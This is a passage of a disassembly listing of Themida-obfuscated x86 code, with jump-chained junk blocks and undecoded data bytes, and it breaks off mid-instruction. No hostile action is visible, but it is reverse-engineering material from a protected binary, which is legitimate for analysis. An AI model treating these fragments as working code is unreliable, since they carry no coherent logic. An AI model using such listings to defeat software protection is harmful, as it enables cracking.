55FFFF71h, 1A37BE56h, 0F5897A8Bh, 0FFED815Eh, 0E9FFFFFFh dd 0FFFF8380h, 81D3F74Bh, 9E6ABEBh, 59CB01DAh, 68h, 242C8100h dd 29821FB5h, 0E9241C29h, 0FFFF90EBh, 0E904C483h, 0FFFF718Ah dd 0F668525Bh, 5A46824Bh, 69F3EA81h, 68E94FBBh, 6600002Ch dd 5624048Bh, 0FFE283E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D761: ; CODE XREF: Themida_:0055BE9Aj mov [esp], edx xchg ebp, [esp] not ebp jmp loc_554F0E ; --------------------------------------------------------------------------- dw 5866h dd 0D3E9D928h, 5EFFFF7Ah, 8B24048Fh, 8B662424h, 83512404h dd 0CBE904ECh db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D78B: ; CODE XREF: Themida_:00555C03j add esp, 4 mov eax, esi pop esi and ecx, eax mov eax, [esp] push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_557556 ; --------------------------------------------------------------------------- db 5Eh, 2Dh, 18h dd 2D287610h, 0CE854EDBh, 0FFF868E9h, 2025B0FFh, 805866C1h dd 0D9F6ABC9h, 300EC180h, 0B15159C8h, 0F0BAE922h, 0F766FFFFh dd 0E99C241Ch, 0FFFF70F2h, 0FF70EDE9h, 240431FFh, 5C240433h dd 0FF70E1E9h, 243489FFh, 464C0EBEh, 5DDC2D51h, 0F0292E5Eh dd 5E5DDC05h, 9A2D5E2Eh, 53236722h, 9784E952h, 0C281FFFFh dd 4, 84B2E955h, 0C580FFFFh, 66EA00D5h, 0A355E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D826: ; CODE XREF: Themida_:0055D9E3j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp shl edi, 8 neg edi shl edi, 5 shr edi, 6 sub edi, offset dword_493A00 and ecx, edi pop edi shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_55E7AC ; --------------------------------------------------------------------------- loc_55D854: ; CODE XREF: Themida_:0055AF0Cj pop eax shr ecx, 0Ah jmp loc_55531D ; --------------------------------------------------------------------------- db 1, 0D5h, 8Bh dd 0C4812414h, 4, 5C242C87h, 240C8B66h, 129A68h, 24348900h dd 0C681E689h, 4, 0FFB31EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D885: ; CODE XREF: Themida_:0055A7D5j mov [esp], ecx mov cl, 18h add al, 4Dh add al, cl sub al, 4Dh jmp loc_55A4B5 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5F04h, 24248B24h, 0FF7223E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D8A5: ; CODE XREF: Themida_:0055BE20j pop eax add edi, 0FFFFFFFFh push ecx push 80488282h pop ecx jmp loc_55B1EA ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E904C483h, 0 dd 0B951D8F7h, 208F7B1Ah, 0E4BE9h db 0 ; --------------------------------------------------------------------------- loc_55D8CD: ; CODE XREF: Themida_:0055839Ej pop edi dec ebp add ebp, 6A856B60h push ecx mov ecx, 313F50E6h jmp loc_55E0D4 ; --------------------------------------------------------------------------- dd 96BD55h, 0E5C10F68h, 15DCE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D8EE: ; CODE XREF: Themida_:00554FA0j push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], esi jmp loc_554D0E ; --------------------------------------------------------------------------- db 89h dd 66B3241Ch, 0D8E9D800h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D913: ; CODE XREF: Themida_:0055B45Bj add esp, 4 push ecx mov ecx, esp jmp loc_55ADBE ; --------------------------------------------------------------------------- dd offset aREiRXb ; "à\aÇ…I à\axb" dw 8900h dd 68572404h, 2, 481575Fh, 2C469F24h, 85E9583Fh, 0FFFFF8Bh dd 0AB3DE9C8h, 575AFFFFh, 0E036855h, 2C8B2BEEh, 4C48124h dd 0E9000000h, 0FFFFAE74h ; --------------------------------------------------------------------------- loc_55D958: ; CODE XREF: Themida_:00560716j pop eax jmp loc_5582D9 ; --------------------------------------------------------------------------- loc_55D95E: ; CODE XREF: Themida_:00557B29j mov ebx, edi pop edi sub ebx, 6A806BA8h add ebx, edi add ebx, 6A806BA8h mov ecx, [ebx] push dword ptr [esp] mov ebx, [esp] jmp loc_556FBD ; --------------------------------------------------------------------------- dd 5C9DF181h, 0C18114CBh, 33CDD66Ch, 0C048E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D98E: ; CODE XREF: Themida_:0055EBA5j xor ecx, edi jmp loc_55BCE2 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 0E9000000h, 0FFFFDF8Eh, 5D2434FFh, 0C604E956h, 0E580FFFFh dd 0F6CDFEC0h, 3E5C0D5h, 4EC81h, 1C890000h, 92A1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9C2: ; CODE XREF: Themida_:0055B83Dj mov [esp], eax push 6CCA6A2Eh pop eax add eax, 0A235035Dh push ebx mov ebx, eax mov edi, ebx push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] push ecx jmp loc_55D826 ; --------------------------------------------------------------------------- dd 0C8BC829h, 0F818E924h, 0D7E9FFFFh, 50FFFF6Eh, 4B8h dd 58C20100h, 31241433h, 14332414h, 0DEA0E924h, 665CFFFFh dd 0E99CC83Bh, 0FFFF6EB6h, 240C335Fh, 0E9240C31h, 0F37h dd 0FF6EA5E9h, 240C89FFh, 81A7E952h, 48FFFFFh, 0A043E924h dd 0EE81FFFFh, 39717B77h, 4E75EE81h, 0C6E91D79h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA4B: ; CODE XREF: Themida_:005587C7j add esp, 4 push esi push 37C92F73h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 shl esi, 4 push ecx mov ecx, 747A3431h jmp loc_55A927 ; --------------------------------------------------------------------------- dd 0FFFFC181h, 0E6E9FFFFh, 68FFFF74h, 6B2Fh, 0E9241489h dd 1DF9h, 21B7E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA92: ; CODE XREF: Themida_:005592C6j add esp, 2 sub al, 43h sub al, 18h jmp loc_55A7CA ; --------------------------------------------------------------------------- dw 4F68h dd 5A1FF06Bh, 67396851h, 0F75976B7h, 81D1F7D1h, 767A5BC1h dd 81D1F779h, 0C24D3CC1h, 59CA213Bh, 2905E281h, 0D2F75194h dd 0FBF28142h, 89BA86FBh, 24148BD1h, 4C481h, 0ECE90000h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DADF: ; CODE XREF: Themida_:005564F4j push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] jmp loc_55C1D4 ; --------------------------------------------------------------------------- dd 4C781h, 0EF810000h, 4, 2474FF57h, 48F5F04h, 34895C24h dd 815E5424h, 4C6h, 90E95000h, 81FFFFB1h, 0B3508CF7h, 5FF98931h dd 4244C01h, 81240C8Bh, 4C4h, 81008F00h, 4ECh, 242C8900h dd 2E9E9h, 0C3015900h, 2B0FEB81h, 0C381585Bh, 3EB23A80h dd 92A7E958h, 2C8BFFFFh, 4C48324h, 15FF829h, 2C8758C5h dd 0E9F65C24h, 0CCB60F66h, 68E38953h, 2838h, 0BD242C89h dd 4, 0E9E9EB01h, 80FFFFA5h, 0F780CDC7h, 285F2CFAh, 0FF5F04F8h dd 65E92434h, 81FFFFF9h, 2EDAB8F5h, 0BC89E9B9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB9E: ; CODE XREF: Themida_:0055B6B5j sub bl, 0B4h mov al, bl pop ebx mov dl, 17h xor dl, al pop eax sub bl, dl pop dx add bl, 3Bh add bl, al sub bl, 3Bh add bl, 0DBh push ecx mov ch, 0DCh shl ch, 4 jmp loc_55A6B4 ; --------------------------------------------------------------------------- aM0Hlk db '¬0ØhlK',0 dw 0E900h dd 0FFFFD057h ; --------------------------------------------------------------------------- loc_55DBD0: ; CODE XREF: Themida_:00559B24j pop ecx sub edi, eax sub edi, 7ABC165Eh mov eax, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- dd 0FF828EE9h, 51E888FFh, 0CB88C188h, 2052E9h db 0 ; --------------------------------------------------------------------------- loc_55DBF1: ; CODE XREF: Themida_:0055F65Dj pop ebx add esp, 4 push edx mov dl, 7Fh add ch, dl pop edx sub al, ch mov ecx, [esp] jmp loc_5593A5 ; --------------------------------------------------------------------------- db 5Ch, 66h, 89h dd 0F66240Ch, 5166C8B6h, 6CB8E99Ch, 0C481FFFFh, 4, 0FF9090E9h dd 0C875FFFh, 0DB5CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC2A: ; CODE XREF: Themida_:005601D5j push ebx jmp loc_55B494 ; --------------------------------------------------------------------------- dd 6B8468h, 24148900h, 0E2493568h, 2434FF73h, 5A2434FFh dd 8104C483h, 4C4h, 0FFD03100h, 148B2434h, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 5E08950h, 4, 405h dd 24048700h, 58DB685Ch, 0C890000h, 9FBD5524h, 8149A261h dd 1EDh, 6E5C100h, 6839BE56h, 0EEC175F3h, 0B0EE8107h, 0E93D2807h dd 0FFFFAC5Fh, 2E3568h, 241C8900h, 72E9D788h, 5BFFFFE1h dd 0C002EAC0h, 0A4E905E2h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DCBF: ; CODE XREF: Themida_:0055FDC6j mov [esp], ebx mov eax, [esp] sub esp, 4 jmp loc_56025A ; --------------------------------------------------------------------------- db 1, 0D8h, 8Bh dd 0C481241Ch, 4, 3302C083h, 4312404h, 24043324h, 272CE9h dd 81E68900h, 4C6h, 4C68100h, 56000000h, 42474FFh, 0BB58E95Eh dd 30ACFFFFh, 0A79DE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD0A: ; CODE XREF: Themida_:00555FDFj push 37607C61h mov edi, [esp] add esp, 4 sub edi, 0FFFFFFFFh dec edi inc edi push edx push ecx mov ecx, 19EC225Ah add ecx, 70504426h add ecx, 1C5C15h jmp loc_55B0C0 ; --------------------------------------------------------------------------- loc_55DD35: ; CODE XREF: Themida_:0055AE52j sub eax, 0D111866h not eax or eax, 679B1B2Bh add eax, 55337C8Ch add edx, eax pop eax sub esp, 4 mov [esp], ebp mov ebp, 4D386159h jmp loc_559CC4 ; --------------------------------------------------------------------------- loc_55DD59: ; CODE XREF: Themida_:0055C9EEj push edi push edx jmp loc_55CB65 ; --------------------------------------------------------------------------- loc_55DD60: ; CODE XREF: Themida_:0055FCB4j add esi, 12D52E55h pop ebx jmp loc_55E499 ; --------------------------------------------------------------------------- dd 5A5BD888h, 88C68852h, 585A3877h, 6B50E959h, 1C89FFFFh dd 0A6ADE924h, 48BFFFFh, 74685324h, 0E9000078h, 0AAh ; --------------------------------------------------------------------------- loc_55DD94: ; CODE XREF: Themida_:0055A0DBj push 4DA0h mov [esp], edi mov edi, esp add edi, 4 push ebx mov ebx, 56FE4124h jmp loc_55A2A0 ; --------------------------------------------------------------------------- db 89h dd 0BA522424h, 4, 4245401h, 7089E95Ah, 0C981FFFFh, 3C231ACEh dd 0C108E9C1h, 0A2E903E9h, 66FFFFEDh, 68240C8Bh, 5411h dd 0FFF484E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DDE1: ; CODE XREF: Themida_:0055F170j pop ebp jmp loc_55B985 ; --------------------------------------------------------------------------- loc_55DDE7: ; CODE XREF: Themida_:00559D10j add esp, 4 push edx jmp loc_555CF9 ; --------------------------------------------------------------------------- dd 0D2F61AB2h, 0E908EAC0h, 0FFFFE534h ; --------------------------------------------------------------------------- loc_55DDFC: ; CODE XREF: Themida_:00557EADj sub esi, 6B6B2365h add eax, esi pop esi push eax add dword ptr [esp], 6D99747Bh pop esi push ecx push ebx mov ebx, 12992FBBh add ebx, 3F306C60h add ebx, 1BCFD860h jmp loc_5602BD ; --------------------------------------------------------------------------- dw 73BDh dd 290E4C26h, 2CDCE928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE32: ; CODE XREF: Themida_:0055A8BBj mov [esp], ebx push dword ptr [esp+4] jmp loc_5585C5 ; --------------------------------------------------------------------------- dw 2489h dd 0AD11E924h, 0CD81FFFFh, 6FF14BBEh, 4FFBF581h, 0E8017FF7h dd 4055Dh, 4870000h, 24248B24h, 0FF9246E9h, 4956BDFFh dd 0E5C14078h, 0EDC14503h, 0D5F74505h, 0FFFD1AE9h, 68D831FFh dd 5DFEh, 0BA241489h, 14E666E6h, 0FD8E951h, 0C4830000h dd 241C3304h, 33241C31h, 0E95C241Ch, 0FFFFBA88h, 83240C8Bh dd 516604C4h, 0F32C9FB1h, 0F304C828h, 240C8B66h, 2802C483h dd 96B353D8h, 9C380h, 0E9515BD8h, 0FFFFD269h, 0B201E955h dd 0F101FFFFh, 107DE981h, 348B7B8Bh, 4C48124h, 83000000h dd 0C3302C1h, 240C3124h, 1841E9h db 0 ; --------------------------------------------------------------------------- loc_55DEED: ; CODE XREF: Themida_:0055C6E8j add edx, 4 xchg edx, [esp] pop esp mov esi, [esp] push ecx jmp loc_55AE71 ; --------------------------------------------------------------------------- dd 5F01CDB8h, 0A68EE93Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF0A: ; CODE XREF: Themida_:0055EB69j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 5DE574FCh pop edx jmp loc_55665D ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFE009h, 57BCB866h, 8BC38966h, 0C4812404h, 4, 0FFEDD8E9h dd 5DE981FFh, 0E9DAA21Dh, 2813h ; --------------------------------------------------------------------------- loc_55DF50: ; CODE XREF: Themida_:00555FF8j not edi push eax jmp loc_557CD0 ; --------------------------------------------------------------------------- dd 907B951h, 0E1C17E36h, 76C98106h, 0E966FA46h, 0FFFFE88Dh ; --------------------------------------------------------------------------- loc_55DF6C: ; CODE XREF: Themida_:0055C522j pop ebx jmp loc_55A25F ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0FF96EBE9h, 0E7E981FFh, 1BCFBF7h, 0F30159CEh, 4EC835Eh dd 693E9h, 67E94200h, 66FFFF79h, 0E924048Bh, 0FFFF900Dh dd 7FF768h, 24348900h, 1201BD55h, 0E5C1734Dh, 0F0C58104h dd 0E9CB2EDFh, 0FFFFA238h, 31240C33h, 0C33240Ch, 0E8B8E924h dd 0F281FFFFh, 243A7AF9h, 405AD021h, 20710F35h, 8BEE8100h dd 173AF1Bh, 8BC681C6h, 5873AF1Bh, 8702C683h, 248B2434h dd 0CD36624h, 0D0E99C24h, 81FFFFEDh, 890060F1h, 81D1F77Ch dd 8EEE38C1h, 0A7A2E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E00E: ; CODE XREF: Themida_:00559799j mov [esp], ecx mov ecx, esi mov ebp, ecx pop ecx pop esi push ebp not dword ptr [esp] pop ebp shl ebp, 1 xor ebp, edi xor edi, ebp xor ebp, edi jmp loc_55A06D ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C7h dd 2B652FEh, 0EF81CF01h, 2B652FEh, 45E1C781h, 0C8B569Fh dd 4C48124h, 0E9000000h, 2A0Eh, 4308EBC1h, 0BF42B951h dd 0CB310025h, 5BDA0159h, 392568h, 24148900h, 42474FFh dd 24048F5Ah, 240CD25Ch, 6858E99Ch, 0B60FFFFFh, 148B66C0h dd 6EE95224h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E083: ; CODE XREF: Themida_:0055E50Fj mov esi, 0ABEED962h add esi, edi mov edi, [esp] jmp loc_55CE43 ; --------------------------------------------------------------------------- dw 70BBh dd 4B09F95Ah, 0FFC3C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E09D: ; CODE XREF: Themida_:0055FA20j mov ch, dl pop edx jmp loc_557E89 ; --------------------------------------------------------------------------- db 29h, 0D8h, 5Bh dd 9FF74805h, 0E5C581C2h, 1030262h, 0E5ED81C5h, 8B030262h dd 60E92404h, 0E9FFFFD0h, 0FFFF6806h, 9CBF5759h, 0E97DEF74h dd 0FFFFB1F7h ; --------------------------------------------------------------------------- loc_55E0D4: ; CODE XREF: Themida_:0055D8DBj neg ecx jmp loc_5552E2 ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFFBD28h ; --------------------------------------------------------------------------- loc_55E0E4: ; CODE XREF: Themida_:00556500j push ebp mov ebp, edx mov eax, ebp pop ebp mov edi, eax pop eax pop edx push edx jmp loc_55F383 ; --------------------------------------------------------------------------- loc_55E0F4: ; CODE XREF: Themida_:00556F81j inc edi neg edi sub edi, 0C9E0AE56h jmp loc_558497 ; --------------------------------------------------------------------------- dw 0F205h dd 5A39CB1Dh, 3358C601h, 34312434h, 24343324h, 0D224248Bh dd 0E99C2424h, 0FFFF67AEh, 30E9F201h, 57FFFFC2h, 4BFh dd 5FFD2900h, 0E9242C87h, 0FFFFA731h, 0F2E9C330h, 5DFFFFEAh dd 31240433h, 0EAE92404h, 66000022h, 4EC38059h, 8DC0B60Fh dd 1A688704h, 89000053h, 6BE92404h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E163: ; CODE XREF: Themida_:0056007Fj mov esi, [esp] add esp, 4 add esp, 4 push ebp jmp loc_55C9BA ; --------------------------------------------------------------------------- dd 1089C981h, 0E1C15CB2h, 8E98107h, 0E92B0B54h, 0FFFFB800h ; --------------------------------------------------------------------------- loc_55E18C: ; CODE XREF: Themida_:0055B680j mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_55E514 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFF7FFFh ; --------------------------------------------------------------------------- loc_55E1A4: ; CODE XREF: Themida_:00555591j push 0 sub [esp], edx pop edx push edi mov edi, 2A865E90h add edi, 1AE1D4Ah jmp loc_55F9BE ; --------------------------------------------------------------------------- dw 0F701h dd 5FF9315Eh, 0FFD5D0E9h, 0DFE180FFh, 28F5C180h, 525B59C8h dd 6602EC83h, 52240489h, 43E926B6h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E1E3: ; CODE XREF: Themida_:0055F825j mov ebx, 525F572Ch sub edx, ebx pop ebx jmp loc_5548CE ; --------------------------------------------------------------------------- loc_55E1F0: ; CODE XREF: Themida_:0055B94Cj mov ebp, [esp] jmp loc_556B9D ; --------------------------------------------------------------------------- dd 8A0C22B9h, 0BBC1815Bh, 1A4E324h, 1C8B59C8h, 4EC8124h dd 89000000h, 0E954243Ch, 0FFFFB911h, 80DAB753h, 30E97ACFh db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E223: ; CODE XREF: Themida_:00556CF7j shl esi, 1 shl esi, 3 add esi, 1F884DB8h sub esi, 106B2BACh jmp loc_5586C7 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0Dh dd 81688F23h, 4635F9E5h, 24C58149h, 5B7FDCEh, 53440FBAh dd 0BA2DE801h, 5D53440Fh, 1215E9h db 0 ; --------------------------------------------------------------------------- loc_55E25D: ; CODE XREF: Themida_:0055CB1Aj pop ebx jmp loc_556360 ; --------------------------------------------------------------------------- db 0Ch dd 2CA30C53h, 8834345Ah, 0E95158C1h, 253Dh, 39E9BF57h dd 0FB293ECEh, 81D3F75Fh, 122F57EBh, 8BDA01E9h, 0C483241Ch dd 9B95104h, 81133D5Ah, 0CC6ED4E9h, 0F7D9F76Eh, 2DC181D1h dd 0E9363132h, 0FFFFFC9Dh, 0EB81CB01h, 725631CAh, 0FFAE83E9h dd 246C81FFh, 842AE604h, 247C295Ch, 24448104h, 842AE604h dd 4815F5Ch, 51385524h, 242C810Bh, 296479BAh, 0C240481h dd 0E916903Ah, 0FFFF673Bh, 0C681E689h, 4, 4EE81h, 34870000h dd 0C895C24h, 0B699E924h, 0B468FFFFh, 8900001Fh, 0E6892434h dd 4C681h, 0C6810000h, 4, 5C243487h, 3A768h, 7DFBE900h dd 5166FFFFh, 655E9h, 0E7F18000h, 0FFC2CEE9h, 0E3F480FFh dd 0E958E288h, 0FFFFC44Dh, 240C8B66h, 39368h, 243C8900h dd 91E9E789h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E34F: ; CODE XREF: Themida_:0055FFD3j and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp push eax jmp loc_55703E ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 0F6E28600h, 51E286D4h, 0E950D588h dd 0FFFFF865h, 7B4FC981h, 0F18152A1h, 190C04C6h, 7D25C981h dd 64E92627h, 5AFFFFFCh, 4C481h, 0C6830000h, 74FF5602h dd 7AE90424h, 51000015h, 592414F7h, 73D1E981h, 0C2E9533Eh dd 83FFFFFBh, 0C28104C4h, 427F39EFh, 0FF763AE9h, 7BF868FFh dd 4890000h, 5FE8B824h, 77E941C7h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3DB: ; CODE XREF: Themida_:005559A5j pop ebx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_5548CE ; --------------------------------------------------------------------------- loc_55E3EB: ; CODE XREF: Themida_:0055BA8Aj mov ebp, esp push eax mov eax, 4 push eax mov eax, 63E81634h jmp loc_55E45A ; --------------------------------------------------------------------------- loc_55E3FE: ; CODE XREF: Themida_:005604A8j push ebp jmp loc_55FBAB ; --------------------------------------------------------------------------- dd 6F41E959h, 0D701FFFFh, 6634E95Ah, 0E2C1FFFFh, 26E28102h dd 814AB702h, 0FFFFFFC2h, 81DAF7FFh, 0F824C1CAh, 0B702E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E42E: ; CODE XREF: Themida_:0055D64Dj push dword ptr [esp] jmp loc_55D53F ; --------------------------------------------------------------------------- dw 48Bh dd 1CFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E43E: ; CODE XREF: Themida_:0055676Aj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55D13D ; --------------------------------------------------------------------------- db 83h dd 0C8704C4h, 8315E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E45A: ; CODE XREF: Themida_:0055E3F9j neg eax add eax, 2FED6BB8h jmp loc_55F605 ; --------------------------------------------------------------------------- loc_55E466: ; CODE XREF: Themida_:0055C14Fj mov [esp], edi push ebp mov ebp, 79AB6E4Eh mov edi, 931F0F3Dh jmp loc_55F16E ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 0A01E95Fh, 0C3810000h, 0BE9DE199h, 34FFD831h, 2434FF24h dd 0FFB683E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E499: ; CODE XREF: Themida_:0055DD67j sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_5587B9 ; --------------------------------------------------------------------------- db 53h dd 6C6D72BBh, 0F7D3F724h, 92EB81DBh, 4B6F212Ch, 0BF24C381h dd 0DF014AB4h, 1221685Bh, 3C890000h, 2474FF24h, 243C8B04h dd 56E28952h, 244118BEh, 6817E94Ah, 0D801FFFFh, 9A222C2Dh dd 4EC8129h, 0E9000000h, 0FFFFCBDDh, 104C483h, 0EC835BDFh dd 241C8904h, 2BBh, 5BDF0100h, 6E1CE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E50E: ; CODE XREF: Themida_:0055ADDAj pop edi jmp loc_55E083 ; --------------------------------------------------------------------------- loc_55E514: ; CODE XREF: Themida_:0055E197j push edi mov edi, 1D76696Bh shr edi, 2 sub edi, 75D9A56h add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5579BA ; --------------------------------------------------------------------------- dd 1C57095Fh, 6390E95Ah, 0E959FFFFh, 959h ; --------------------------------------------------------------------------- loc_55E544: ; CODE XREF: Themida_:0055A2D1j mov edi, 361E5B5Ah neg edi not edi add edi, 0FC791813h jmp loc_55AE7E ; --------------------------------------------------------------------------- loc_55E558: ; CODE XREF: Themida_:005605C1j mov edx, esp push esi mov esi, 5DF54298h add esi, 7A4E5C58h dec esi or esi, 242F66EDh jmp loc_55E6F0 ; --------------------------------------------------------------------------- dw 0D2F7h dd 0EF81D787h, 8D7DED14h, 895FFA01h, 24148BD7h, 4C481h dd 0F9290000h, 0E92434FFh, 0FFFFAAB0h, 81240C8Bh, 4C4h dd 0B4506600h, 66E32819h, 8124048Bh, 2C4h, 51C30000h, 0EB8019B1h dd 0EB66E9E4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E5BA: ; CODE XREF: Themida_:00555325j mov edi, esp add edi, 4 jmp loc_55FA40 ; --------------------------------------------------------------------------- loc_55E5C7: ; CODE XREF: Themida_:005606F7j push ebx mov ebx, esp push eax mov eax, 629A4E5Dh xor eax, 770C634Ch or eax, 7FF310B7h shl eax, 3 jmp loc_560525 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 2474FF52h, 48F5A04h, 0EE58E924h, 0F581FFFFh, 0D189B264h dd 15DE831h, 1C8758C3h, 24248B24h, 0FF62C1E9h, 6CA468FFh dd 2C890000h, 51E58924h, 4B9h, 0E9CD0100h, 727h, 0E9243C89h dd 0FFFF9A5Dh, 756C68h, 240C8900h, 7CD2BE56h, 0F189216Dh dd 0FFDD75E9h, 81EF29FFh, 6677EDC7h, 0F9DBE96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E64E: ; CODE XREF: Themida_:00554F11j pop edx push 24B3h mov [esp], eax push edx jmp loc_555BBD ; --------------------------------------------------------------------------- db 1, 0C7h, 0E9h dd 0FFFFEF8Eh ; --------------------------------------------------------------------------- loc_55E664: ; CODE XREF: Themida_:00558C1Cj add esp, 4 xor eax, ebp push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_55CD7A ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 9AE9D301h, 8BFFFF7Eh, 0C481240Ch, 4, 0FFC78347h dd 2FFEE781h, 6850F7h, 29000000h, 525F243Ch, 677271BAh dd 0F8DFE93Bh, 77FFFFFFh, 2434FF3Ch, 0E924048Bh, 0FFFF67AAh dd 4240483h, 83242C8Bh, 0B95104C4h, 4, 0FFE21CE9h, 4EC83FFh dd 0E9243C89h, 0FFFFE0B8h ; --------------------------------------------------------------------------- loc_55E6E0: ; CODE XREF: Themida_:0055A189j pop esp rol byte ptr [esp], cl pushf jmp loc_5548CE ; --------------------------------------------------------------------------- dw 0E9ADh dd 0FFFFF789h ; --------------------------------------------------------------------------- loc_55E6F0: ; CODE XREF: Themida_:0055E56Dj and esi, 35075E09h xor esi, 314568E8h add esi, 0FABDC923h add edx, esi pop esi sub edx, 4 xchg edx, [esp] jmp loc_55B82A ; --------------------------------------------------------------------------- dd 0E904EC83h, 0FFFFED04h, 5C3C181h, 0DBE9730Dh, 87FFFFA5h dd 0E95C243Ch, 0FFFFF1B4h, 5004C483h, 405E089h, 83000000h dd 39E904ECh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E73F: ; CODE XREF: Themida_:0055E90Aj mov [esp], esi push ebx jmp loc_55B792 ; --------------------------------------------------------------------------- dd 8904EC83h, 68241Ch, 89000072h, 4812424h, 424h, 241C8B00h dd 8104C483h, 4C3h, 4BF5700h, 0E9000000h, 0FFFFD35Ch, 34EC681h dd 7709AA7Ah, 42E95E20h, 500000Ah, 5F5F7C7Fh, 0D0F7D0F7h dd 0F5650A2Dh, 0BD554873h, 3EC8143Ch, 57E9D5F7h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E79F: ; CODE XREF: Themida_:005554F7j mov edx, 4 add edi, edx pop edx jmp loc_5564D3 ; --------------------------------------------------------------------------- loc_55E7AC: ; CODE XREF: Themida_:0055D84Fj push dword ptr [esp] mov eax, [esp] push 3B34h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi mov esi, esp jmp loc_55B670 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 915AE955h, 0EAB6FFFFh, 281BEE80h, 0CC805AF4h dd 8EEC807Bh, 0FFA81EE9h, 0E8E981FFh, 0C11ED858h, 0F18103E9h dd 606D0DDEh, 8102E9C1h, 0D43622E9h, 59CF0118h, 6B46E956h dd 0B3E9FFFFh, 5FFFF60h, 4, 405h, 24048700h, 1931E9h, 4B900h dd 81510000h, 63CA2404h, 0E95E6CEDh, 0FFFFC21Ah, 55E08950h dd 4BDh, 5DE80100h, 0FFE39AE9h, 6078E9FFh, 0E5C1FFFFh dd 2CED8103h, 89986809h, 66E95DEBh, 28FFFFF4h, 0BBE8E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E86E: ; CODE XREF: Themida_:00555D71j mov edx, 1Ch add edx, edi push dword ptr [edx] xor dword ptr [esp], 70CF371Bh mov ecx, [esp] jmp loc_55CEF2 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFDCDEh, 0FF603DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E891: ; CODE XREF: Themida_:0055645Fj mov eax, 93FA4507h sub esi, eax pop eax or ecx, esi pop esi jmp loc_55564C ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 23h dd 89FFFF63h, 42BD242Ch, 817B0525h, 0E4042444h, 1220459h dd 0E904246Ch, 0FFFFD81Dh, 8106E3C1h, 4B7DCEEBh, 4EC8114h dd 89000000h, 50562404h, 0FFF627E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E8D9: ; CODE XREF: Themida_:0055AE8Bj neg eax add eax, 1D0B3561h push eax xor dword ptr [esp], 